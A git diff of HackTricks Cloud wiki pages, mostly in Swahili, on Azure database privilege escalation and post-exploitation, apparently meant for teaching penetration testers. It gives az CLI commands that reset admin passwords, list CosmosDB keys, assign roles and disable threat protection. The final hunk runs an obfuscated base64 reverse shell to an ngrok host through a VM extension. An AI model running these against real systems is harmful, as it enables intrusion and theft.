{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,155 @@
|
||||
# Az - PostgreSQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu PostgreSQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata kupita kiasi au bila ruhusa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa muhimu kwa kuhifadhi data katika maeneo maalum ya wakati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az postgres flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - CosmosDB Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
|
||||
Kwa ruhusa hizi unaweza kupandisha hadhi kwa kumuwezesha mtumiaji ruhusa za kutekeleza maswali na kuungana na database. Kwanza, jukumu la ufafanuzi linaundwa likitoa ruhusa na mipaka inayohitajika.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
|
||||
"RoleName": "CustomReadRole",
|
||||
"Type": "CustomRole",
|
||||
"AssignableScopes": [
|
||||
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
|
||||
],
|
||||
"Permissions": [
|
||||
{
|
||||
"DataActions": [
|
||||
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Baada ya hapo, ugawaji wa ufafanuzi unatolewa kwa mtumiaji. Baada ya hii, mtumiaji huyo anaweza kutumia njia ya muunganisho ya DefaultAzureCredential() kutekeleza maswali.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--role-definition-id <Random-Unique-ID-used-in-definition> \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
Kwa ruhusa hii, unaweza kupata funguo za msingi na za sekondari za akaunti ya Azure Cosmos DB. Funguo hizi zinatoa ufikiaji kamili kwa akaunti ya database na rasilimali zake, zikiwezesha vitendo kama vile kusoma data, kuandika, na mabadiliko ya usanidi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,91 @@
|
||||
# Az - MySQL Database Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL Database Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta mifano ya MySQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufuta seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la MySQL, muhimu bila shaka katika kesi ambapo uthibitishaji wa MySQL umewezeshwa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya MySQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa kiutawala juu ya seva ya MySQL. Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji ulioteuliwa ili kutumika.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - PostgreSQL Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta mifano ya PostgreSQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la PostgreSQL, muhimu bila shaka katika kesi ambapo uthibitishaji wa PostgreSQL umewezeshwa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliye tayari hakusaidiwi bado hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
|
||||
|
||||
Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji aliyepewa matumizi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -13,7 +13,7 @@ Kwa maelezo zaidi kuhusu Azure Virtual Machines na Network angalia:
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
Ruhusa hii inaruhusu kutekeleza nyongeza katika mashine za virtual ambazo zinaruhusu **kutekeleza msimbo wowote juu yao**.\
|
||||
Mfano wa kutumia nyongeza za kawaida kutekeleza amri zisizo za kawaida katika VM:
|
||||
Mfano wa kutumia nyongeza za kawaida kutekeleza amri za kawaida katika VM:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -34,7 +34,7 @@ az vm extension set \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
- Tekeleza script iliyoko mtandaoni
|
||||
- Teua skripti iliyo kwenye mtandao
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
@@ -65,7 +65,7 @@ az vm extension set \
|
||||
